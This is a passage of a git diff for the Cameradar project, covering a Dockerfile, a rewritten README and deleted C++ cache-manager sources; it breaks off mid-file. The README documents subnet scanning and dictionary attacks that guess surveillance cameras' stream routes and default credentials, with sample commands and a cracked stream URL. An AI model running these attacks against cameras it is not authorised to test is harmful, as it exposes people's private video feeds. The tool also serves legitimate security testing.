"${PROJECT_NAME}_${${PROJECT_NAME}_VERSION}") -set (CPACK_GENERATOR "TGZ") -set (CPACK_SOURCE_GENERATOR "TGZ") - -include(CPack) diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..735b793 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,23 @@ +FROM golang:alpine +WORKDIR /go/src/github.com/EtixLabs/cameradar/cameraccess + +COPY . /go/src/github.com/EtixLabs/cameradar + +RUN apk update && \ + apk upgrade && \ + apk add nmap nmap-nselibs nmap-scripts \ + curl-dev \ + gcc \ + libc-dev \ + git \ + pkgconfig + +RUN go get github.com/andelf/go-curl +RUN go get github.com/pkg/errors +RUN go get gopkg.in/go-playground/validator.v9 +RUN go get github.com/jessevdk/go-flags +RUN go get github.com/fatih/color + +RUN go install + +ENTRYPOINT /go/bin/cameraccess diff --git a/README.md b/README.md index 8328f3c..7f08311 100644 --- a/README.md +++ b/README.md @@ -1,259 +1,170 @@ # Cameradar -## An RTSP surveillance camera access multitool +## An RTSP stream access tool that comes with its library [![cameradar License](https://img.shields.io/badge/license-Apache-blue.svg?style=flat)](#license) [![Docker Pulls](https://img.shields.io/docker/pulls/ullaakut/cameradar.svg?style=flat)](https://hub.docker.com/r/ullaakut/cameradar/) [![Build](https://img.shields.io/travis/EtixLabs/cameradar/master.svg?style=flat)](https://travis-ci.org/EtixLabs/cameradar) +[![Go Report Card](https://goreportcard.com/badge/github.com/EtixLabs/cameradar)](https://goreportcard.com/report/github.com/EtixLabs/cameradar) [![Codacy Badge](https://api.codacy.com/project/badge/Grade/6ab80cfa7069413e8e7d7e18320309e3)](https://www.codacy.com/app/brendan-le-glaunec/cameradar?utm_source=github.com&utm_medium=referral&utm_content=EtixLabs/cameradar&utm_campaign=Badge_Grade) [![Latest release](https://img.shields.io/github/release/EtixLabs/cameradar.svg?style=flat)](https://github.com/EtixLabs/cameradar/releases/latest) - #### Cameradar allows you to: -* **Detect open RTSP hosts** on any accessible target -* Get their public info (hostname, port, camera model, etc.) -* Launch automated dictionary attacks to get their **stream route** (for example /live.sdp) +* **Detect open RTSP hosts** on any accessible target host +* Detect which device model is streaming +* Launch automated dictionary attacks to get their **stream route** (e.g.: `/live.sdp`) * Launch automated dictionary attacks to get the **username and password** of the cameras -* **Generate thumbnails** from them to check if the streams are valid and to have a quick preview of their content -* Try to create a Gstreamer pipeline to check if they are **properly encoded** -* Print a summary of all the informations Cameradar could get - -#### And all of this in a _single command-line_. - -Of course, you can also call for individual tasks if you plug in a Database to Cameradar using the MySQL cache manager for example. You can create your own cache manager by following the simple example of the **dumb cache manager**. +* Retrieve a complete and user-friendly report of the results

## Table of content - [Docker Image](#docker-image) -- [Quick install](#quick-install) - - [Dependencies](#quick-install###dependencies) - - [Five steps guide](#quick-install###five-steps-guide) -- [Manual installation](#manual-installation) - - [Dependencies](#manual-installation###dependencies) - - [Steps](#manual-installation###Steps) -- [Advanced docker deployment](#advanced-docker-deployment) - - [Dependencies](#advanced-docker-deployment###dependencies) - - [Deploy a custom version of Cameradar](#advanced-docker-deployment###deploy-a-custom-version-of-cameradar) - [Configuration](#configuration) - [Output](#output) - [Check camera access](#check-camera-access) - [Command line options](#command-line-options) -- [Next improvements](#next-improvements) - [Contribution](#contribution) - [Frequently Asked Questions](#frequently-asked-questions) - [License](#license) -## Docker Image +## Docker Image for Cameraccess -This is the fastest and simplest way to use Cameradar. To do this you will just need `docker` on your machine. +Install [docker](https://docs.docker.com/engine/installation/) on your machine, and run the following command: -Run - -``` -docker run -v /tmp/thumbs/:/tmp/thumbs \ - -e CAMERAS_TARGET=your_target \ - ullaakut/cameradar:tag +```bash +docker run ullaakut/cameradar ``` -* `your_target` can be a subnet (e.g.: `172.16.100.0/24`) or even an IP (e.g.: `172.16.100.10`), a range of IPs (e.g.: `172.16.100.10-172.16.100.20`) or a mix of all those separated by commas (e.g.: `172.17.100.0/24,172.16.100.10-172.16.100.20,0.0.0.0`). -* `tag` allows you to specify a specific version for camerada. If you don't specify any tag, you will use the latest version by default (recommended) +[See command-line options](#command-line-options). + +e.g.: `docker run ullaakut/cameradar -t 192.168.100.0/24 -l` will scan the ports 554 and 8554 of hosts on the 192.168.100.0/24 subnetwork and attack the discovered RTSP streams and will output lots of logs. + +* `YOUR_TARGET` can be a subnet (e.g.: `172.16.100.0/24`) or even an IP (e.g.: `172.16.100.10`), a range of IPs (e.g.: `172.16.100.10-172.16.100.20`) or a mix of all those separated by commas (e.g.: `172.17.100.0/24,172.16.100.10-172.16.100.20,0.0.0.0`). +* If you want to get the precise results of the nmap scan in the form of an XML file, you can add `-v /your/path:/tmp/cameradar_scan.xml` to the docker run command, before `ullaakut/cameradar`. +* If you use the `-r` and `-c` options to specify your Check [Cameradar's readme on the Docker Hub](https://hub.docker.com/r/ullaakut/cameradar/) for more information and more command-line options. -The generated thumbnails will be in `/tmp/thumbs` on both your machine and the `cameradar` container. - For more complex use of the Docker image, see the `Environment variables` part of [Cameradar's readme on the Docker Hub](https://hub.docker.com/r/ullaakut/cameradar/). -## Quick install +### Library -The quick install uses docker to build Cameradar without polluting your machine with dependencies and makes it easy to deploy Cameradar in a few commands. **However, it may require networking knowledge, as your docker containers will need access to the cameras subnetwork.** +### Dependencies of the library -### Dependencies +- `curl-dev` / `libcurl` (depending on your OS) +- `nmap` +- `github.com/pkg/errors` +- `gopkg.in/go-playground/validator.v9` +- `github.com/andelf/go-curl` -The only dependencies are `docker`, `docker-tools`, `git` and `make`. +#### Installing the library -### Five steps guide +```bash + go get github.com/EtixLabs/cameradar +``` -1. `git clone https://github.com/EtixLabs/cameradar.git` -2. `cd cameradar/deployment` -3. Tweak the `conf/cameradar.conf.json` as you need (see [the configuration guide here](#configuration) for more information) -4. `docker-compose build ; docker-compose up` +After this command, the *cameradar* library is ready to use. Its source will be in: -By default, the version of the package in the deployment should be the last stable release. + $GOPATH/src/pkg/github.com/EtixLabs/cameradar -If you want to scan a different target or different ports, change the values `CAMERAS_TARGET` and `CAMERAS_PORTS` in the `docker-compose.yml` file. +You can use `go get -u` to update the package. -The generated thumbnails will be in the `cameradar_thumbnails` folder after Cameradar has finished executing. +Here is an overview of the exposed functions of this library: -If you want to deploy your custom version of Cameradar using the same method, you should check the [advanced docker deployment](#advanced-docker-deployment) tutorial here. +#### Discovery -## Manual installation +You can use the cameradar library for simple discovery purposes if you don't need to access the cameras but just to be aware of their existence. -The manual installation is recommended if you want to tweak Cameradar and quickly test them using CMake and running Cameradar in command-line. If you just want to use Cameradar, it is recommended to use the [quick install](#quick-install) instead. +

+The Discover function calls the RunNmap function as well as the ParseNmapResults function and returns the discovered streams without attempting any attack. +It will use default values for its calls to RunNmap: -### Dependencies +

+This describes the nmap time presets. You can pass a value between 1 and 5 as described in this table, to the RunNmap function. -To install Cameradar you will need these packages +

+The RunNmap function will execute nmap and generate an XML file containing the results of the scan. -* cmake (`cmake`) -* git (`git`) -* gstreamer1.x (`libgstreamer1.0-dev`) -* ffmpeg (`ffmpeg`) -* boost (`libboost-all-dev`) -* libcurl (`libcurl4-openssl-dev`) +

+The ParseNmapResult function will open the specified XML file and return all open RTSP streams found within it. -### Steps +#### Attack -The simplest way would be to follow these steps : +If you already know which hosts and ports you want to attack, you can also skip the discovery part and use directly the attack functions. The attack functions also take a timeout value as a parameter. -1. `git clone https://github.com/EtixLabs/cameradar.git` -2. `cd cameradar` -3. `mkdir build` -4. `cd build` -5. `cmake ..` -6. `make` -7. `cd cameradar_standalone` -8. `./cameradar -s the_target_you_want_to_scan` +

+The AttackCredentials function takes valid streams as an input (with IP addresses and ports) and will attempt to guess their credentials using the provided dictionary. -## Advanced Docker deployment +

+The AttackRoute function takes valid streams as an input (with IP addresses and ports) and will attempt to guess their routes using the provided dictionary. -In case you want to use Docker to deploy your custom version of Cameradar. +#### Data models -### Dependencies +Here are the different data models useful to use the exposed functions of the cameradar library. -The only dependencies are `docker` and `docker-compose`. +

-### Using the package generation script -1. `git clone https://github.com/EtixLabs/cameradar.git` -2. `cd cameradar/deployment` -3. `rm *.tar.gz` -4. `./build_last_package.sh` -5. `docker-compose build cameradar` -6. `docker-compose up cameradar` +#### Dictionary loaders -### Deploy a custom version of Cameradar by hand +The cameradar library also provides two functions that take file paths as inputs and return the appropriate data models filled. -1. `git clone https://github.com/EtixLabs/cameradar.git` -2. `cd cameradar` -3. `mkdir build` -4. `cd build` -5. `cmake .. -DCMAKE_BUILD_TYPE=Release` -6. `make package` -7. `cp cameradar_*_Release_Linux.tar.gz ../deployment` -8. `cd ../deployment` -9. `docker-compose build cameradar` -10. `docker-compose up cameradar` +

+ +LoadCredentials takes a JSON file that has the same format as [this one](dictionary/credentials.json). + +

+ +LoadRoutes takes a file that has the same format as [this one](dictionary/routes). Warning: This file is not JSON. ### Configuration -Here is the basic content of the configuration file with simple placeholders : -```json -{ - "mysql_db" : { - "host" : "MYSQL_SERVER_IP_ADDRESS", - "port" : MYSQL_SERVER_PORT, - "user": "root", - "password": "root", - "db_name": "cmrdr" - }, - "target" : "target1,target2,target3,[...]", - "ports" : "PORT1,PORT2,[...]", - "rtsp_url_file" : "/path/to/url/dictionary", - "rtsp_ids_file" : "/path/to/url/dictionary", - "thumbnail_storage_path" : "/valid/path/to/a/storage/directory", - "cache_manager_path" : "/path/to/cache/manager", - "cache_manager_name" : "CACHE_MANAGER_NAME" -} +The **RTSP port used for most cameras is 554**, so you should probably specify 554 as one of the ports you scan. Not specifying any ports to the cameraccess application will scan the 554 and 8554 ports. + +e.g.: `docker run ullaakut/cameradar -p "18554,19000-19010" -t localhost` will scan the ports 18554, and the range of ports between 19000 and 19010 on localhost. + +You **can use your own files for the ids and routes dictionaries** used to attack the cameras, but the Cameradar repository already gives you a good base that works with most cameras, in the `/dictionaries` folder. + +e.g.: ```bash +docker run -v /my/folder/with/dictionaries:/tmp/dictionaries \ + ullaakut/cameradar \ + -r "/tmp/dictionaries/my_routes" \ + -c "/tmp/dictionaries/my_credentials.json" \ + -t 172.19.124.0/24 ``` -This **configuration is needed only if you want to overwrite the default values**, which are : - -```json -{ - "target" : "localhost", - "ports" : "554,8554", - "rtsp_url_file" : "conf/url.json", - "rtsp_ids_file" : "conf/ids.json", - "thumbnail_storage_path" : "/tmp", - "cache_manager_path" : "../cache_managers/dumb_cache_manager", - "cache_manager_name" : "dumb" -} -``` - -This means that **by default Cameradar will not use a database**, will scan localhost and the ports 554 (default RTSP port) and 8554 (default emulated RTSP port), use the default constructor dictionaries and store the thumbnails in `/tmp`. If you need to override simply the target or ports, you can use the [command line options](#command-line-options). - -The targets should be passed separated by commas only, and their target format should be the same as used in nmap. -```json -"target" : "172.100.16.0/24,172.100.17.0/24,localhost,192.168.1.13" -``` - -The **RTSP ports for most cameras are 554**, so you should probably specify 554 as one of the ports you scan. Not giving any ports in the configuration will scan every port of every host found on the target. - -You **can use your own files for the ids and routes dictionaries** used to attack the cameras, but the Cameradar repository already gives you a good base that works with most cameras. - -The thumbnail storage path should be a **valid and accessible directory** in which the thumbnails will be stored. - -The cache manager path and name variables are used to change the cache manager you want to load into Cameradar. If you want to, you can code your own cache manager using a database, a file, a remote server, [...]. Feel free to share it by creating a merge request on this repository if you developed a generic manager (It must not be specific to your company's infrastructure). +This will put the contents of your folder containing dictionaries in the docker image and will use it for the dictionary attack instead of the default dictionaries provided in the cameradar repo. ## Output -For each camera, Cameradar will output these JSON objects : +For each camera, Cameraccess will output this: + +

-```json -{ - "address" : "173.16.100.45", - "ids_found" : true, - "password" : "123456", - "path_found" : true, - "port" : 554, - "product" : "Vivotek FD9381-HTV", - "protocol" : "tcp", - "route" : "/live.sdp", - "service_name" : "rtsp", - "state" : "open", - "thumbnail_path" : "/tmp/127.0.0.1/1463735257.jpg", - "username" : "admin" -} -``` ## Check camera access -If you have [VLC Media Player](http://www.videolan.org/vlc/), you should be able to use the GUI to connect to the RTSP stream using this format : `rtsp://username:password@address:port/route` +If you have [VLC Media Player](http://www.videolan.org/vlc/), you should be able to use the GUI or the command-line to connect to the RTSP stream using this format : `rtsp://username:password@address:port/route` -With the above result, the RTSP URL would be `rtsp://admin:123456@173.16.100.45:554/live.sdp` - -If you're still in your console however, you can go even faster by using **vlc in commmand-line** and just run `vlc rtsp://username:password@address:port/route` with the camera's info instead of the placeholders. +With the above result, the RTSP URL would be `rtsp://admin:12345@173.16.100.45:554/live.sdp` ## Command line options -* **"-c"** : Set a custom path to the configuration file (-c /path/to/conf) -* **"-s"** : Set custom target (overrides configuration) : You can use this argument in many ways, using a subnet (e.g.: `172.16.100.0/24`) or even an IP (e.g.: `172.16.100.10`), a range of IPs (e.g.: `172.16.100.10-172.16.100.20`) or a mix of all those (e.g.: `172.17.100.0/24,172.16.100.10-172.16.100.20,0.0.0.0`) -* **"-p"** : Set custom ports (overrides configuration) -* **"-m"** : Set number of threads (*Default value : 1*) -* **"-l"** : Set log level - * **"-l 1"** : Log level DEBUG - * _Will print everything including debugging logs_ - * **"-l 2"** : Log level INFO - * _Prints every normal information_ - * **"-l 4"** : Log level WARNING - * _Only prints warning and errors_ - * **"-l 5"** : Log level ERROR - * _Only prints errors_ - * **"-l 6"** : Log level CRITICAL - * _Doesn't print anything since Cameradar can't have critical failures right now, however you can use this level to debug your own code easily or if you add new critical layers_ -* **"-d"** : Launch the discovery tool -* **"-b"** : Launch the dictionary attack tool on all discovered devices - * Needs either to be launched with the -d option or to use an advanced cache manager (DB, file, ...) with data already present -* **"-t"** : Generate thumbnails from detected cameras - * Needs either to be launched with the -d option or to use an advanced cache manager (DB, file, ...) with data already present -* **"-g"** : Check if the stream can be opened with GStreamer - * Needs either to be launched with the -d option or to use an advanced cache manager (DB, file, ...) with data already present -* **"-v"** : Display Cameradar's version -* **"-h"** : Display this help -* **"--gst-rtsp-server"** : Use this option if the attack does not seem to work (only detects the username but not the path, or the opposite). This option will switch the order of the attacks to prioritize path over credentials, which is the way priority is handled for cameras that use GStreamer's RTSP server. +* **"-t, --target"**: Set custom target. Required. +* **"-p, --ports"**: (Default: `554,8554`) Set custom ports. +* **"-s, --speed"**: (Default: `4`) Set custom nmap discovery presets to improve speed or accuracy. It's recommended to lower it if you are attempting to scan an unstable and slow network, or to increase it if on a very performant and reliable network. See [this for more info on the nmap timing templates](https://nmap.org/book/man-performance.html). +* **"-T, --timeout"**: (Default: `1000`) Set custom timeout value in miliseconds after which an attack attempt without an answer should give up. +* **"-r, --custom-routes"**: (Default: `dictionaries/routes`) Set custom dictionary path for routes +* **"-c, --custom-credentials"**: (Default: `dictionaries/credentials.json`) Set custom dictionary path for credentials +* **"-o, --nmap-output"**: (Default: `/tmp/cameradar_scan.xml`) Set custom nmap output path +* **"-l, --log"**: Enable debug logs (nmap requests, curl describe requests, etc.) +* **"-h"** : Display the usage information + +## Environment variables + +TODO ## Contribution @@ -261,25 +172,29 @@ See [the contribution document](/CONTRIBUTION.md) to get started. ## Frequently Asked Questions -> My camera's credentials are guessed by Cameradar but the RTSP URL is not! - -Your camera probably uses GST RTSP Server internally. Try the `--gst-rtsp-server` command-line option, and if it does not work, send me the Cameradar output in DEBUG mode (`-l 1`) and I will help you. - > Cameradar does not detect any camera! -That means that either your cameras are not streaming in RTSP or that they are not on the target you are scanning. In most cases, CCTV cameras will be on a private subnetwork. Use the `-s` option to specify your target. +That means that either your cameras are not streaming in RTSP or that they are not on the target you are scanning. In most cases, CCTV cameras will be on a private subnetwork, isolated from the internet. Use the `-t` option to specify your target. > Cameradar detects my cameras, but does not manage to access them at all! -Maybe your cameras have been configured and the credentials / URL have been changed. Cameradar only guesses using default constructor values. However, you can use your own dictionary in which you just have to add your passwords. To do that, see how the [configuration](#configuration) works. Also, maybe your camera's credentials are not yet known, in which case if you find them it would be very nice to add them to the Cameradar dictionaries to help other people in the future. +Maybe your cameras have been configured and the credentials / URL have been changed. Cameradar only guesses using default constructor values if a custom dictionary is not provided. You can use your own dictionaries in which you just have to add your credentials and RTSP routes. To do that, see how the [configuration](#configuration) works. Also, maybe your camera's credentials are not yet known, in which case if you find them it would be very nice to add them to the Cameradar dictionaries to help other people in the future. -> It does not compile :( +> What happened to the C++ version? -You probably missed the part with the dependencies! Use the quick docker deployment, it will be easier and will not pollute your machine with useless dependencies! `;)` +You can still find it under the 1.1.4 tag on this repo, however it was less performant and stable than the current version written in Golang. + +> How to use the Cameradar library for my own project? + +See the cameraccess example. You just need to run `go get github.com/EtixLabs/cameradar/cameradar` and to use the `cmrdr` package in your code. + +> I want to scan my own localhost for some reason and it does not work! What's going on? + +Use the `--net=host` flag when launching the cameradar image, or use the binary by running `go run cameraccess/main.go`. ## License -Copyright 2016 Etix Labs +Copyright 2017 Etix Labs Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. diff --git a/cache_managers/CMakeLists.txt b/cache_managers/CMakeLists.txt deleted file mode 100644 index 03b9ccd..0000000 --- a/cache_managers/CMakeLists.txt +++ /dev/null @@ -1,24 +0,0 @@ -## Copyright 2016 Etix Labs -## -## Licensed under the Apache License, Version 2.0 (the "License"); -## you may not use this file except in compliance with the License. -## You may obtain a copy of the License at -## -## http://www.apache.org/licenses/LICENSE-2.0 -## -## Unless required by applicable law or agreed to in writing, software -## distributed under the License is distributed on an "AS IS" BASIS, -## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -## See the License for the specific language governing permissions and -## limitations under the License. - -cmake_minimum_required (VERSION 2.8.1) -cmake_policy(SET CMP0042 NEW) - -# set temporarly the ouput path for all server plugins -set (LIBRARY_OUTPUT_PATH ${CAMERADAR_CACHE_MANAGER_OUTPUT_PATH}) - -add_subdirectory(dumb_cache_manager) -add_subdirectory(mysql_cache_manager) - -set (CAMERADAR_CACHE_MANAGERS ${CAMERADAR_CACHE_MANAGERS} PARENT_SCOPE) diff --git a/cache_managers/dumb_cache_manager/CMakeLists.txt b/cache_managers/dumb_cache_manager/CMakeLists.txt deleted file mode 100644 index 9ea4b47..0000000 --- a/cache_managers/dumb_cache_manager/CMakeLists.txt +++ /dev/null @@ -1,33 +0,0 @@ -## Copyright 2016 Etix Labs -## -## Licensed under the Apache License, Version 2.0 (the "License"); -## you may not use this file except in compliance with the License. -## You may obtain a copy of the License at -## -## http://www.apache.org/licenses/LICENSE-2.0 -## -## Unless required by applicable law or agreed to in writing, software -## distributed under the License is distributed on an "AS IS" BASIS, -## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -## See the License for the specific language governing permissions and -## limitations under the License. - -cmake_minimum_required (VERSION 2.8.1) -cmake_policy(SET CMP0042 NEW) - -project(dumb_cache_manager CXX) - -find_package(PkgConfig) - -include_directories (${PROJECT_SOURCE_DIR}/include ${CAMERADAR_INCLUDES}) - -include (find_sources) -find_sources ("src" "include") - -add_library (dumb_cache_manager SHARED ${SOURCES}) -set(CMAKE_SHARED_LINKER_FLAGS "-Wl,--no-undefined") -target_link_libraries (dumb_cache_manager) - -set (CACHE_MANAGER_NAME ${CAMERADAR_CACHE_MANAGER_OUTPUT_PATH}/${CMAKE_SHARED_LIBRARY_PREFIX}dumb_cache_manager${CMAKE_SHARED_LIBRARY_SUFFIX}) -list (APPEND CAMERADAR_CACHE_MANAGERS ${CACHE_MANAGER_NAME}) -set (CAMERADAR_CACHE_MANAGERS ${CAMERADAR_CACHE_MANAGERS} PARENT_SCOPE) diff --git a/cache_managers/dumb_cache_manager/include/dumb_cache_manager.h b/cache_managers/dumb_cache_manager/include/dumb_cache_manager.h deleted file mode 100644 index 32a9461..0000000 --- a/cache_managers/dumb_cache_manager/include/dumb_cache_manager.h +++ /dev/null @@ -1,54 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include -#include -#include -#include -#include - -namespace etix { -namespace cameradar { - -class dumb_cache_manager : public cache_manager_base { -private: - static const std::string name; - std::vector streams; - std::shared_ptr configuration; - - std::mutex m; - -public: - using cache_manager_base::cache_manager_base; - ~dumb_cache_manager(); - - const std::string& get_name() const override; - static const std::string& static_get_name(); - bool load_dumb_conf(std::shared_ptr configuration); - bool configure(std::shared_ptr configuration) override; - - bool has_changed(const etix::cameradar::stream_model&); - - void set_streams(std::vector model); - - void update_stream(const etix::cameradar::stream_model& newmodel); - - std::vector get_streams(); - - std::vector get_valid_streams(); -}; -} -} diff --git a/cache_managers/dumb_cache_manager/src/dumb_cache_manager.cpp b/cache_managers/dumb_cache_manager/src/dumb_cache_manager.cpp deleted file mode 100644 index 041f06b..0000000 --- a/cache_managers/dumb_cache_manager/src/dumb_cache_manager.cpp +++ /dev/null @@ -1,104 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include - -namespace etix { -namespace cameradar { - -const std::string dumb_cache_manager::name = "dumb-cache-manager"; - -dumb_cache_manager::~dumb_cache_manager() {} - -const std::string& -dumb_cache_manager::get_name() const { - return dumb_cache_manager::static_get_name(); -} - -const std::string& -dumb_cache_manager::static_get_name() { - return dumb_cache_manager::name; -} - -bool -dumb_cache_manager::configure(std::shared_ptr configuration) { - return this->load_dumb_conf(configuration); -} - -bool -dumb_cache_manager::load_dumb_conf(std::shared_ptr configuration) { - this->configuration = configuration; - - return true; -} - -//! Replaces all cached streams by the content of the vector given as -//! parameter -void -dumb_cache_manager::set_streams(std::vector model) { - std::lock_guard lock(m); - this->streams = model; -} - -//! Inserts a single stream to the cache -void -dumb_cache_manager::update_stream(const etix::cameradar::stream_model& newmodel) { - std::lock_guard lock(m); - for (auto& stream : this->streams) { - if (stream.address == newmodel.address && stream.port == newmodel.port) { - stream = newmodel; - } - } -} - -//! Gets all cached streams -std::vector -dumb_cache_manager::get_streams() { - std::vector ret; - for (const auto& stream : this->streams) { - if (not stream.service_name.compare("rtsp") && not stream.state.compare("open")) - ret.push_back(stream); - } - return ret; -} - -//! Gets all valid streams -std::vector -dumb_cache_manager::get_valid_streams() { - std::vector ret; - for (const auto& stream : this->streams) { - if (stream.ids_found && stream.path_found) ret.push_back(stream); - } - return ret; -} - -// Returns true if the stream passed as a parameter has changed in the cache -bool -dumb_cache_manager::has_changed(const etix::cameradar::stream_model& old) { - for (const auto& stream : this->streams) { - if (stream.address == old.address) - if (stream.path_found != old.path_found || stream.ids_found != old.ids_found) - return true; - } - return false; -} - -extern "C" { -cache_manager_iface* -cache_manager_instance_new() { - return new dumb_cache_manager(); -} -} -} -} diff --git a/cache_managers/mysql_cache_manager/CMakeLists.txt b/cache_managers/mysql_cache_manager/CMakeLists.txt deleted file mode 100644 index f181a53..0000000 --- a/cache_managers/mysql_cache_manager/CMakeLists.txt +++ /dev/null @@ -1,33 +0,0 @@ -## Copyright 2016 Etix Labs -## -## Licensed under the Apache License, Version 2.0 (the "License"); -## you may not use this file except in compliance with the License. -## You may obtain a copy of the License at -## -## http://www.apache.org/licenses/LICENSE-2.0 -## -## Unless required by applicable law or agreed to in writing, software -## distributed under the License is distributed on an "AS IS" BASIS, -## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -## See the License for the specific language governing permissions and -## limitations under the License. - -cmake_minimum_required (VERSION 2.8.1) -cmake_policy(SET CMP0042 NEW) - -project(mysql_cache_manager CXX) - -find_package(PkgConfig) - -include_directories (${PROJECT_SOURCE_DIR}/include ${CAMERADAR_INCLUDES}) - -include (find_sources) -find_sources ("src" "include") - -add_library (mysql_cache_manager SHARED ${SOURCES}) -set(CMAKE_SHARED_LINKER_FLAGS "-Wl,--no-undefined") -target_link_libraries (mysql_cache_manager jsoncpp mysqlcppconn pthread) - -set (CACHE_MANAGER_NAME ${CAMERADAR_CACHE_MANAGER_OUTPUT_PATH}/${CMAKE_SHARED_LIBRARY_PREFIX}mysql_cache_manager${CMAKE_SHARED_LIBRARY_SUFFIX}) -list (APPEND CAMERADAR_CACHE_MANAGERS ${CACHE_MANAGER_NAME}) -set (CAMERADAR_CACHE_MANAGERS ${CAMERADAR_CACHE_MANAGERS} PARENT_SCOPE) diff --git a/cache_managers/mysql_cache_manager/include/db_conn.h b/cache_managers/mysql_cache_manager/include/db_conn.h deleted file mode 100644 index 45acc40..0000000 --- a/cache_managers/mysql_cache_manager/include/db_conn.h +++ /dev/null @@ -1,85 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // for ResultSet -#include // for mutex -#include // for bool, false -#include // for string -#include // for pair, make_pair - -#include "query_result.h" - -namespace sql { -class Connection; -class Driver; -class ResultSet; -} - -namespace etix { - -namespace cameradar { - -namespace mysql { - -//! MySQL Database connection handling -//! Abstracts all connection to the database -class db_connection { -private: - static const std::string create_database_query; - - //! SQL driver - sql::Driver* driver = nullptr; - //! SQL connection - sql::Connection* connection = nullptr; - std::mutex access_mtx; - bool connected = false; - - std::string db_name; - - //! Create the database if it doesn't exist at connector launch - empty_result create_database(void); - -public: - db_connection(void); - ~db_connection(void); - - //! Try to connect to the database - std::pair connect(const std::string& host, - const std::string& user, - const std::string& pass, - const std::string& db_name, - bool create_db_if_not_exist = true); - - //! Execute a MySQL command - empty_result execute(const std::string& request); - - //! Execute a query - query_result query(const std::string& query); - - bool is_connected(); - - //! Return db_name - const std::string& - get_db_name(void) const { - return this->db_name; - } -}; - -} // mysql - -} // cameradar - -} // etix diff --git a/cache_managers/mysql_cache_manager/include/mysql_cache_manager.h b/cache_managers/mysql_cache_manager/include/mysql_cache_manager.h deleted file mode 100644 index 2d79dd5..0000000 --- a/cache_managers/mysql_cache_manager/include/mysql_cache_manager.h +++ /dev/null @@ -1,85 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include -#include -#include -#include -#include -#include -#include - -namespace etix { - -namespace cameradar { - -struct mysql_configuration { - unsigned int port; - std::string host; - std::string db_name; - std::string user; - std::string password; - - mysql_configuration() = default; - - mysql_configuration(unsigned int port, - const std::string& host, - const std::string& db_name, - const std::string& user = "", - const std::string& password = "") - : port(port), host(host), db_name(db_name), user(user), password(password) {} -}; - -class mysql_cache_manager : public cache_manager_base { -private: - static const std::string name; - std::vector streams; - std::shared_ptr configuration; - etix::cameradar::mysql_configuration db_conf; - etix::cameradar::mysql::db_connection connection; - - std::mutex m; - - static const std::string create_table_query; - static const std::string insert_with_id_query; - static const std::string exist_query; - static const std::string get_results_query; - static const std::string update_result_query; - -public: - using cache_manager_base::cache_manager_base; - ~mysql_cache_manager(); - - // Specific to MySQL - bool execute_query(const std::string& query); - - const std::string& get_name() const override; - static const std::string& static_get_name(); - bool load_mysql_conf(std::shared_ptr configuration); - bool configure(std::shared_ptr configuration) override; - - bool has_changed(const etix::cameradar::stream_model&); - - void set_streams(std::vector model); - - void update_stream(const etix::cameradar::stream_model& newmodel); - - std::vector get_streams(); - - std::vector get_valid_streams(); -}; -} -} diff --git a/cache_managers/mysql_cache_manager/include/query_result.h b/cache_managers/mysql_cache_manager/include/query_result.h deleted file mode 100644 index 184f3da..0000000 --- a/cache_managers/mysql_cache_manager/include/query_result.h +++ /dev/null @@ -1,65 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -namespace etix { - -namespace cameradar { - -namespace mysql { - -enum class execute_result { success, not_found, no_row_updated, sql_error, error }; - -//! Wrapper of a DB query result -//! Templated on the data type we want to return (list, bool, whatever) -template -struct query_result { - DataType data; - execute_result state; - std::string error_msg; - - inline bool - success(void) const { - return state == execute_result::success; - } - inline bool - error(void) const { - return not success(); - } -}; - -//! Empty query result for when we just want to return the status -//! of the request with no associated data -template <> -struct query_result { - execute_result state; - std::string error_msg; - - inline bool - success(void) const { - return state == execute_result::success; - } - inline bool - error(void) const { - return not success(); - } -}; -typedef query_result empty_result; - -} //! mysql - -} //! cameradar - -} //! etix diff --git a/cache_managers/mysql_cache_manager/src/db_conn.cpp b/cache_managers/mysql_cache_manager/src/db_conn.cpp deleted file mode 100644 index c17f0d8..0000000 --- 